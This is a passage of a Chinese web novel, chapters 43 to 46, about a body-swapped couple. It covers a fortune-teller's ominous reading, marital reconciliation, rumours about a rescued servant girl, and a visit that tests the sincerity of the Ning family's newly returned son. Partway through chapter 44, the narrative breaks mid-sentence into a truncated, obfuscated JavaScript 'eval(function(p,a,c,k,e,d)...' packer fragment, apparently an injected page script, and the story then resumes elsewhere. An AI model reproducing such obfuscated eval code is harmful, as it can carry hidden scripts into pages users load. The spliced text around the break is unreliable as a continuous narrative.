那老道抬手示意:“还请这位小姐将这三枚铜板抛出,置于案上即可。” 温越依言照做。 一正两反,落在八卦图的不同位置。 老道低头,似乎能看见似的,发出‘啧’的一声,随后,他手指掐动,口中念念有词。 良久之后,老道忽然皱起了眉:“怪哉,怪哉。” 温越看的心慌:“何出此言?” 老道叹了口气,摇摇头:“这位小姐,你与这公子有缘无分,还是趁早断了吧。” 心里咯噔一声,温越正要发作,又听那老道‘咦’了一声,他咬牙忍着怒气问道:“又怎么了?” “唉,只是觉得可惜。”老道语气顿了顿,解释道: “这位公子的生辰八字,若是早上半个时辰,那与小姐你,可谓是姻缘美满,情投意合,乃是上上之签,可现如今的这个八字吧……却是情路多舛,若要强求,便是两败俱伤,生死难料。” 温越在袖中的手指微微收紧,属于沈溪言的指甲嵌入掌心,他也意识不到疼。 早半个时辰,可不就是兄长的八字。 难道老天爷都认为,兄长与阿言才是命定的一对吗? “这么好的姻缘,唉,可惜啊可惜。”那老道连连扼腕惋惜:“小姐你可记对八字了?真的是这个吗?老朽可不想耽误了有情之人啊!” 他没瞧见,温越的脸色随着他的话语,越来越白,直到眸底一点点生出戾气,凌厉如刀,脸色更是阴沉可怖。 “不过……”那老道还想说什么。 话音未落,温越忍无可忍,拍案而起,一把抓起了老道的领口,笑的阴测测的:“你不是会算命吗?那你可有算到,今日自己有血光之灾啊?” 说着就抡圆了拳头,准备往人脸上挥。 “哎呦,小姐饶命,小姐饶命……” 拳头没挥出去,被一只大掌握住手腕。 温越猛的转头,对上一张严肃探究的脸,他带着怒气的表情,以肉眼可见的速度颓萎下来,还有一丝慌言被拆穿的慌乱无措,看着‘男子’右手中打包好的糖炒栗子,他眼底心虚明显:“阿言,我……” “不是说在原地等我吗?” “我……” “不是说就是个江湖骗子,没有人在上元节算命吗?” “不是,阿言,你听我解释……” “为什么骗我?还要当街打人?” “……对不起。” “道歉有用的话,要大理寺和刑部干什么?” “……” 温越无言以对。 沈溪言拽着温越,以男子身体力量的绝对优势,将他拉走。 那老道士眯着灰白浑浊的眼,看着两人远去的身影:“嘶,血光之灾确实是有啊,不是那一拳还能是什么?难道老朽今日还有一劫?” 话还没说完,长街中央二楼飞廊上挂着最大的那盏琉璃凤凰彩灯突然坠落,在一片惊呼声中,砸垮了街边挂着的灯笼架子。 多是纱布与宣纸材质糊的灯笼,瞬间起火,火势不大,却搅动了空气,气流涌动间,高处一木质牌匾断裂,正巧砸在街角本相安无事的算命摊子之上。 那老道士一惊,脚底一滑,向前扑去,鼻尖磕在坚硬的地面上,吃了一嘴土。 鼻尖温热,他伸手一摸,摸到一片湿滑:“哎呦,原来是在这等着老朽呢……” 今日人多,武侯铺的官差早就值守在各个街口前,不一会,金吾卫中郎将谢淮也骑马到场,他们动作很快,伤者被迅速送往医馆,此间又恢复了热闹景象。 夜风轻拂,街边还幸存的灯笼里,红烛跳动。 老道士收拾了自己还能用的家当,在一片喧闹中,一瘸一拐地离去。 一阵极轻的低诵化在风里: “红烛摇,嫁双生,一魂错位亮茫茫;身非身,情断情,即是劫数亦相生……” 第43章 结发为夫妻 第四十三章 结发为夫妻 夜色融融,罗帐低垂。 兰苑主屋的榻上,两人并肩躺着,丝毫没有睡意,温越在外侧,大气都不敢出,自从回府,沈溪言便没有和他主动讲过一句话。 良久之后,温越翻了个身,在黑暗中精准摸到沈溪言的手,紧紧攥住,这一次,她没有挣脱。 “阿言,”温越的声音闷闷的,带着一丝卑微的乞求:“我知错了,不该骗你,你理理我好不好?” 沈溪言沉默片刻,最终发出一声长叹:“阿珣,不管那道士说什么,也不管以后怎么样,反正,现如今,你我都好好地在一起了,这才是最重要的,不是吗?” 温越身形微僵,没有立刻回应。 他心里泛起难以言喻的苦涩,顺着喉咙蔓延整个口腔,强忍着咽了一口唾沫,五脏六腑都刺得生疼。 就在一炷香前,南枢将沈溪言放在河灯里的祈愿捞出来了。 照南枢所说,费了不少劲,还碰巧看见有一人似是溺水昏迷,漂在水面上,那处河道人迹罕至,若非遇到南枢,此人必定凶多吉少。 温越那时心里很乱,根本无心听南枢说他捎带手救了一个人的事。 那纸条被水浸湿了一部分,字迹晕染开来,模糊不清,只是最上面四个字写着,‘愿与阿珣……’ 白头偕老? 相伴一生? 总归不是‘恩断义绝’什么的。 温越无声苦笑,沮丧地想。 “阿珣?夫君?你还没回答我的话呢。” “……嗯,阿言,好困啊。” “好,别想那么多,都会好起来的。” “……嗯。” 他脑中浮现出替兄娶妻之后发生的一切。 她遭遇白眼,被纨绔羞辱,被下药,各种受伤,现在还被萧铎缠上,就连今日也因与他在一起,险些被马车撞倒。 只要她与他在一起,似乎总有意外发生。 若不是发生换身的意外,她早已与自己同归于尽了吧。 “两败俱伤,生死难料……” 他又想起那老道士的话。 或许,这就是命吧。 这身份是兄长的,这桩姻缘也是兄长的,既然兄长还活着,他理应归还…… 温越深深吸了一口气,试图压抑内心起伏的情绪,借着月光,他偷偷瞄向身侧之人,眼中流露出不甘与痛苦,掌心紧紧攥住。 等换回来,换回来之后,他绝不犹豫,他会亲手结束这段错误的感情,即刻将他还给兄长。 …… 侯府一间不起眼的厢房内,一盏孤零零的烛火静静燃着,照在一个略显落寞的背影之上。 男人靛蓝色素缎长袍还未换下,他修长的手指捏着一张皱巴巴的宣纸,展开,上面是一行端正秀丽的小字。 ‘结发为夫妻,恩爱两不疑。’ 温珣盯着这几个字看了许久,眸底情绪晦涩难懂。 良久之后,他唇角微启,声音涩哑:“与你结发的是他,怎配恩爱不疑?” 他起身,拿起纸条的一角,缓缓凑近案上烛火,火舌一下子舔舐上来,那几个字瞬间卷曲,一点点化为灰烬。 …… 几日后的一个晌午,还没到春日,阳光已经暖了起来。庭院一侧的玉兰树,已经抽了嫩黄的新芽。 树下放着一把躺椅,上面铺了厚厚的软垫,‘女子’穿着一件浅蓝色流云锦对襟长袄,下身是让府里绣娘改制的长裤,正身姿舒展地靠在躺椅之上。 那‘女子’甚至还翘起二郎腿,四下无风,她晃着穿着绣鞋的脚,毫无世家女子的端庄体统。 榴花皱着眉立在一旁,也不劝了。 似乎经过这段时日,她似乎已经习惯了自家夫人‘粗旷行为’,可温越不知道,榴花是心里藏着更着急的事。 温越手边的小几上,放着一盒精致的零嘴吃食,他正随手拈起来,仰头抛起,张嘴精准衔住,腮帮子动了动,随后露出一脸惬意的表情。 榴花紧紧地搅着手中的帕子,一脸焦急,实在忍不住,开始在院子里来回踱步:“夫人,这都火烧眉毛了,您还有心情在这躺着吃零嘴!” 温越无所谓的笑了一声:“你消停会吧,晃的我眼花。” 榴花脚步一停,愤愤不平道:“我的夫人啊。” “奴婢听门房的小荷说,她亲眼所见,侯爷抱着一个女子回了府!那女子似乎受了伤,侯爷对她……举止甚是亲密。” 榴花见温越不为所动,声音发颤: “如今府里都传遍了,说侯爷一大早就直奔京城最大的首饰铺子,一定是给那个女子亲自挑选聘礼去了!” “夫人,您说那女子是侯爷什么人?要说是从前的二公子,有几个红颜知己也算情有可原,侯爷从前绝不会这样的,如今这才成婚不到半年,侯爷竟这般待夫人……” 榴花说这话时语气哽咽,似乎下一秒就要落下泪。 这叫什么话! 温越听得眉心直跳,心头的那点闲适消散的无影无踪,他从前名声这么差吗? 榴花见自家‘夫人’脸色沉了下来,立刻禁声,吓得‘扑通’一声跪下请罪:“奴婢一时情急失言,还请夫人责罚。” 温越垂眸,叹了口气,虽然这丫头蠢了点,可毕竟是一心为主。 “行了,起来吧。”温越摆摆手:“哭哭啼啼的成何体统,不知道的还以为本夫人怎么了呢。” “是,是,夫人说的是,奴婢不哭,哭着不吉利。”榴花抹了抹眼泪,站起身。 正巧此时,映叶端着一碗刚做好的八宝杏仁茶走来,碗中晶莹剔透的藕粉上,点缀着各色果脯,看的人食欲大增:“夫人,这是您刚吩咐让做的。” 温越眼睛一亮,自从和沈溪言换身之后,榴花映叶天天跟在他身边。 以前他竟然不知,映叶的厨艺如此好,蒸煮烹炸个个拿手,小吃零嘴样样精通,自从他发现这一点,映叶就不再单纯只是个武婢,他天天吩咐她换着花样,做各种各样的吃食。 映叶放下碗,一脸无奈,她皱眉掰着手指算道:“夫人,这午膳您吃了三碗,之后零嘴不断,眼下又是第二碗杏仁茶了……万万不能在吃了。眼看去年的衣裳腰身已经有些紧了。” “女子太过丰腴,若是被侯爷瞧见了嫌弃,那可如何是好?” 第44章 小满 第四十四章小满 嫌弃个鬼! 温越一脸不以为意,他接过碗,舀了一勺送入口中,入口甜腻顺滑,裹着果仁清脆,口感丰富。 妙极妙极。 他三两口便将那一小碗喝了个底朝天,这才意犹未尽地抿抿嘴:“不会不会,胖点好,胖点有福气,衣服紧了就叫绣房制新的,侯府又不差这点银子。” 这些天他沐浴的时候,总是尽量不用手触碰身体,可毕竟不会从头到尾不睁眼,阿言的身子骨太单薄了,怪不得来癸水时会腹痛,趁他还在,可要好好的给她补补身子。 况且这碗如此小,他两口就没了。 正说着,便见一道修长挺拔的身影,大步流星地跨进院门。 沈溪言步履生风,一进来,就瞧见温越毫无形象地躺在躺椅上舔着嘴角,榴花眼角微红,似乎刚才哭过。 她望向温越的目光有些无奈。 温越见来人,立刻放下腿,坐直身子,摇椅轻晃:“阿……侯爷,你尝尝吗?” “什么东西?” 沈溪言目光落在了那只空空如也的碗上。 “我让映叶制的杏仁茶,甜口的。” 沈溪言眉头微动,吃甜的发胖,可对上温越一脸期待的神情,她不忍拒绝:“这跑了一天,确实有点饿了。” 温越笑着招手:“你俩再去多做些,给侯爷端一碗来,对了,我那碗多加点葡萄干。” 映叶欲言又止,目光在侯爷和夫人之间来回打量,还是没敢多嘴,与榴花一同行礼退下。 等两人的身影消失,沈溪言在温越对面的椅子上坐下。 她打量着‘自己’似乎越发圆润的脸,伸手捏了捏,疑惑道:“夫君,你有没有觉得,我最近胖了些?” 后者心虚的别开眼:“没有吧。” “哦,对了,你把榴花怎么了?她刚走的狠狠地挖了我一眼。” 温越一乐:“阿言,你这话说的好没道理,这妮子没大没小,把‘侯爷’不放在眼里,不是你平日里惯的吗?如今反过来倒赖上我了?” 沈溪言没好气地捶了一下温越,随后端起手边的一杯茶,吹去茶沫,轻抿一口:“别打岔,好好说。” 温越笑笑:“也没什么大事,他以为侯爷要纳妾,替‘夫人’出气呢。” ‘噗!’ 沈溪言一口茶还没咽下去,尽数喷了出来,溅了温越一脸,她眸中微震:“什么?什么纳妾?!” 温越不紧不慢地抬起手,从袖中掏出一方帕子,慢条斯理地在脸上随意抹了两把。 自从上元节遇到太子之后,以防重蹈覆辙,他也学着女子的习惯,在袖里揣起了手帕。 作为罪魁祸首的沈溪言这才回过神,看他因粗鲁的动作,脸颊被蹭红,她心中顿生歉意:“阿珣,抱歉。” 她起身,接过手帕,动作轻柔替他将脸擦净:“还是洗洗吧。” “没事,都好了。” 沈溪言正要反驳,突然脑中灵光一闪,猛地停下了动作:“她们说的不会是小满吧?” 温越点了点头,神色如常。 沈溪言浑身一僵,这还是她第一次如此真切地体会到了何为‘人言可畏’。 那日情急之下,她满心只想着救人,确实抛开了男女大防,未曾想这几日,府里就传成了这样。 “是我不对。” 沈溪言低声叹息,神色暗恼。 这姑娘是前日她在永宁坊胭脂馆的门口遇见的,那时这姑娘正被几个小厮按在地上打,血流了一地,无人上前。 沈溪言出面之后,才知事情原委。 她名叫小满,身世凄苦,父母双亡后寄居在舅父家中,她舅父前些时日,犯了事被官府拿了,舅母着急用银子,竟伙同青楼的老鸨将她以二十两银子卖给了胭脂馆。 小满受不住打骂,好不容易逃回家,才知是舅母的主意,刚出狼窝,又如虎穴,于是她又被送了回来。 胭脂馆握着小满身契,官府也管不着。 于是,沈溪言一时激愤,花二百两银票,将人赎了下来,带回了侯府。 谁成想闹出了这么大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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思索了片刻,沈溪言眉头微蹙:“难不成……” 第45章 定情信物 第四十五章 定情信物 “没错,”温越肯定道:“她舅父,正是参与督造上元节灯会的那一批工匠里的管事。事发当日,这一批涉案工匠就已被关押进京兆府的大牢。” 沈溪言神色略显凝重:“如今这件事闹得人尽皆知,我‘大张旗鼓’将小满接回府,若要被有心人抓住,大做文章,说侯府窝藏涉案家眷,岂不是给你添麻烦了?” 看着她忧心忡忡的模样,温越忽地笑了,那双眸子清亮如波,却让人异常心安:“怎么会,不仅不麻烦,此事还要感谢阿言呢。” 沈溪言一愣,不明所以:“谢我?” “那批工匠多半是推到世人面前的替罪羊。” 他眼眸一沉,徐徐道来:“工部侍郎章简,从前在户部任职,五年前沧州叛乱,他是户部主事。周锦山当上户部尚书之后,就把他就调去了工部,短短三年,章简从一个书令史升任正四品下侍郎,在外人眼里,他就是齐王为了在六部之中安插自己的人,做的谋划。” “周敬山才被贬,章简就被弹劾,灯会这件事本身很小,小到不足以上达天听,可偏偏圣上知道了,还发了好大的火,阿言,你说这是为何?” 沈溪言沉思片刻:“当今圣上是庶出,庸碌多疑,年岁渐长,皇子们却正值壮年,太子贤德,齐王尊贵,天子最擅权衡之术,太子一开口,圣上会将这件事看做是党争,故此龙颜震怒。” “没错,既是党争,那性质就变了,也正因如此,圣上反而不会重罚章简,发火恐怕也就是做做样子。” 沈溪言语气顿了顿:“所以,章简其实是太子的人?” 温越摇摇头:“也不见得,反正此人绝不可小觑,要查北疆的事,先要搞清楚那年沧州粮草被劫的真相,这其中必有联系。况且,若说他是太子的人……感觉太子也没必要为了恶心齐王,舍弃这么一个培养多年的暗桩。” 他垂下头,语气中多了一丝不确定:“或许是我们想多了?” “阿珣,我还是没懂,说了这么多,那你方才说,‘谢我’到底是为何?” 温越轻笑一声:“在众人都忙着站队太子或者齐王的时候,定北侯府看到的只是因此事受苦的百姓,圣上会如何想?” 他嗤笑一声:“我倒还真怕没有傻子说起这件事呢。” 温越从躺椅上站起身,拍了拍衣角,目光灼灼:“阿言,你还记得宁素儿在昭阳生辰上送出去的她那支红缨长枪吗?” 沈溪言点了点头:“嗯,说起这事,我们还欠素儿一个人情。” “前段日子,我让卫奕又造了一把一模一样的,今日刚送到府上,如今宁素儿受了伤,这不正是天赐良机,我们可以借探望之名,去宁府走一趟。” “你怀疑宁府?”沈溪言眼前一亮。 “知我者,阿言也。” 宁老将军为了儿女之事大闹朝堂,也不是第一次了。 可这次也是巧合吗? 还是有人利用他生事? 温越负手而立,望向院外那湛蓝的天际,眸底凝重。 原来如此。 沈溪言了然:“要弄清此中原委,确实从宁府入手,是最简单的。” 她学着温越的样子双手抱胸,突然摸到袖中一细长坚硬之物。 恍然回过神:“差点忘了,阿珣,伸手,有东西送你。” 温越茫然抬头,见沈溪言从袖中掏出一物,放在他的掌心。 手掌触及一抹凉意,只见那躺着一支通体温润的碧玉簪子,色泽如一泓春水,不是名贵之物,更无繁复的花样,只简简单单雕了几株兰草纹样。可难得的是,这簪子纹饰清雅,样式古朴,男女皆可佩戴。 沈溪言眸光流转:“上次你送我的那玫羊脂白玉佩,我很喜欢。你总说我那些发簪朱钗过于繁复,这……是我亲手雕的,你且戴上试试。” 凝重的氛围被一扫而光,温越的眸中染上一丝微不可察的笑意: “原来榴花说你一大早忙着去首饰铺子,是为此事。” “嗯,确实,不过也不止为此事,我还替素儿买了几件首饰。” 温越显然没听进去:“这莫不是阿言送我的定情信物?” 只见身高八尺的男儿迅速红了脸:“夫君,你我早已成婚,竟还说这话……” 正巧此时,映叶端着食盘出现,沈溪言如蒙大赦,慌乱转身逃离。 温越用指腹摩挲着这支玉簪,随后紧紧握在手中,珍视万分,须臾之后,他悄声道:“那不一样,这是送给我的,现在的我……” …… 次日,天朗气清。 两人备了礼,一同乘马车前往宁将军府。 宁老将军虽对沈家兄妹多有微词,但伸手不打笑脸人,见温越沈溪言礼数周全,脸色也缓和了几分。寒暄几句,便领着两人去了宁素儿的院子,随后以自己喜静为由,自顾自走了。 刚进院门,就见宁素儿在侍女的搀扶下,一瘸一拐地蹦着出来,她的右腿上裹了厚厚的纱布,行动颇显吃力。 “沈姐姐,你来看我了!” 沈溪言想要上前搀扶,猛然意识到自己此刻是个男子,多有不便。 于是,她收回手,用手肘轻轻碰了一下身旁的温越,随后递过去一个眼色。 温越眼珠子一瞪,用手指指着自己,侧头望向沈溪言。 见后者不为所动,他从鼻尖哼出一声冷笑。 眼瞅着宁素儿直扑他而来,他眼珠一转,退后一步,从身后那瘦弱侍女手中一把夺过那裹着红布的长枪,在宁素儿扑进他怀里的最后一刻,将长枪往她怀里一塞,语气冷硬: “素儿妹妹,郡主生辰宴那日,害你丢了长枪,我们心里过意不去,特意为你打造了一把一模一样的,你快试试合适吗?” 宁素儿垂头,愣在原地。 沈溪言无奈,素儿腿伤还没好,这会怎么试? 以为气氛僵住,她连忙开口道:“素儿,这长枪有些沉,等你腿伤好了再试也不迟。除此之外,我们还带了些钗环首饰,这你到是可以现在看看。” 宁素儿再次抬头,眸中有泪,抱着长枪不撒手,望向温越的眼里满是感动:“沈姐姐,还是你懂我!” 她看都没看侍女捧上是首饰匣子,只瞄了一眼沈溪言,神色复杂,干笑了两声:“虽然我素来不喜欢这些,可还是多谢侯爷美意。” “对了,侯爷还是叫我‘宁小姐’吧。方才的称呼有些过于亲密了,不合适。” 第46章 试探 第四十六章 试探 沈溪言有些尴尬,干脆不说话了。 温越嘴角浮起一丝得意的笑,右手背后,偷偷向沈溪言的方向比划出了三根手指。 沈溪言喉结滚了滚,缓缓呼气,轻轻点了点头。 来之前,她与温越打赌,宁素儿是更喜欢那柄长枪,还是她准备的钗环首饰。 沈溪言知道宁素儿出身将门,可她也是女子。 哪有女子不喜欢漂亮衣裳和漂亮首饰呢? 为此,她与温越做赌,谁输了答应对方三件事。 显而易见,她输了。 她竟然输了! 宁素儿的院子布置的宽敞别致,庭院正中有一方青石板砌成的鱼池,池畔叠石为阶,尽头建了一座攒尖六角亭。 亭子对面是一片平整的石板空台,旁边立这兵器架子,想来是她日常练枪的地方。 天空放晴,三人就在亭中落座。 下人奉上茶点退下,温越清了清嗓子,摆出关心之态:“素儿妹妹,你这伤可要紧?那日究竟是什么情况,好端端地,那灯怎么就突然掉下来伤了你?” 宁素儿闻言,一脸无奈:“哎,别提了……” 正要开口细说,就被亭外突然传来温柔的男子声音打断: “素儿,瞧我给你带了什么?” 三人循声望去,只见一身形单薄的男子快步走来。 他皮肤很白,白的像从来都没有晒过太阳,偏穿了一件深色的圆领袍,更衬地肌肤如瓷,一双桃花眼深邃似潭水,整个人透着一丝羸弱。 男子一进来,宁素儿眼神瞬间亮了亮,她顾不得伤腿,站起身,惊喜道:“四哥!” 待人在亭外站定,她转身向两人介绍:“沈姐姐,侯爷,这就是父亲前些日子才接回府的,我那位四哥,宁淮川。” “四哥,这是定北侯和他的夫人,沈家姐姐。” 宁淮川的眸光淡淡地落在两人身上,一脸歉意,躬身行礼:“不知侯爷夫人到访,淮川冒然闯入,失礼了。” “四哥,沈姐姐素来与我交好,这儿没有外人,进来坐。” 见周围的下人们低眉顺眼,对这位宁府的私生子格外恭敬,沈溪言心中微动,若有所思。 坊间传闻,那日灯会宁四公子舍身救下宁府唯一的嫡女宁素儿,才得了宁老将军青眼,如今看宁素儿院中的下人对其态度,他在府中的声望的确日渐盛隆,看来传言不假。 众人再次落座,沈溪言见宁淮川从怀中掏出一只竹蜻蜓,放在桌上。 不知设置了什么灵巧机关,捏着身子往上一抛,竹蜻蜓能在空中停留几秒,好像真的飞起来似的。 惹得宁素儿喜笑颜开。 “四哥,这是你亲手做的吗?” “嗯,素儿可喜欢?待在这院中养伤哪都去不了,权当解闷了。” “自然喜欢,多谢四哥。” 宁淮川闻言一笑,举手投足之间竟比女子还柔弱三分:“素儿喜欢便好。” 沈溪言看在眼里,与温越对视一眼,沉声开口道:“听闻四公子不曾习武,那日为了救宁小姐,将妹妹护在身下,被坠落的灯架砸中,如今看起来竟然毫发无伤,当真吉人天相。” 这话明听起来略带讽刺。 宁淮川眼神一顿,随即掩唇猛烈地咳嗽起来,直到脸色都有些泛红,仿佛要将心肺都咳出来。 宁素儿见状,连忙吩咐侍女倒上热茶,手掌在他背后轻拍,替他顺气。 待那阵咳嗽平息,宁淮川抬起头,只是脸色比方才又白了几分。 他递给宁素儿一个安心的眼神,看了一眼对面面无表情的沈溪言:“咳咳……侯爷也是有妹妹的人,应当明白作为兄长的心情。” 他的语气愈发凄然,眼角微红:“淮川漂泊在外多年,本以为会孤苦一生,谁知上苍垂帘,有幸得知,这世间竟还有至亲……入府以来,父兄对淮川多加照顾,此份恩情已让淮川铭记于心。” “只有素儿年幼,虽仅小了半岁,可也是我这个当兄长的无能,自小便身子羸弱,未曾习武,只能以命相护。” “可即便如此,还是让素儿伤了腿……” 话音刚落,他就垂下眼,一副自责痛心的模样。 “是我没用……” 沈溪言神色柔和几分,想到了自家兄长沈行,若换做是她受伤,兄长定也是这般自责难受。 宁素儿瞧见眼前这副景象,忍不住辩解:“侯爷这话说的不妥,若不是四哥当日将我推开,我如今就不只是伤了这一条腿那么简单了,若砸中了头,恐怕命都没了,况且……” 她眼眶湿润,指着宁淮川。 “你们只看他如今,好像是毫发无伤的样子……” “可知他的伤未曾伤在四肢,那日灯架砸下来,四哥推开我,自己却没躲开。” “是他用后背生生抗住,皮肉都砸烂了大半,肩膀上的伤深可露骨,至今还要日日上药!他还本就有咳疾,那日又护着我吸如大量烟尘,如今这更是加重了……” 宁淮川恰到好处地轻咳几声,虚弱地摆摆手:“咳咳,罢了,素儿,这些何足挂齿,不足为外人道也……咳,咳……也不怕客人听了笑话。” “我说的都是实话,谁敢笑话!” 沈溪言本就有所动容,如今听宁素儿这么一说,更显得她方才的话不近人情,不辨善恶。 她心里有些过意不去,脸上露出几分愧疚之色,正欲开口道歉。 温越在一旁冷眼旁观,忍不住撇了撇嘴。 演得倒是真好。 阿言不会武,宁素儿也是个半吊子,宁淮川的咳嗽声虽有起伏,可内里中气十足,眼神更是清明的很,绝不像他表现出来的,伤的如此重。 他伸手拉住正要开口的沈溪言,嘴角勾起一抹淡笑,慢悠悠地开口: “四公子方才那番话,让人听之动容。快别说什么‘漂泊多年’‘苍天垂怜’的了,若是宁老将军当初早点将你娘亲接回府,你也是养在将军府的公子,自小习武射猎,如今至少在军中也是个振威副尉了。” 温越一脸真诚:“四公子能如此待素儿妹妹,不记恨前尘,果真难能可贵。” 这话说的,不比沈溪言方才的话好听多少。 宁淮川的脸色瞬间煞白。 不知是沈溪言这张脸,比起温越,没那么锋芒毕露,还是宁素儿更加信任她的沈姐姐,这一次宁素儿没开口,反而陷入了沉默。 宁淮川紧紧攥着茶杯,面上不表,心里却翻起惊涛骇浪。 这温侯夫人好生厉害,只三言两语,便轻而易举地挑拨了兄妹关系。 他深吸一口气,眸中真诚万分:“淮川从未生出怨怼之心,能回府,能认祖归宗,已经是莫大的福气了,怎敢再奢求其他?”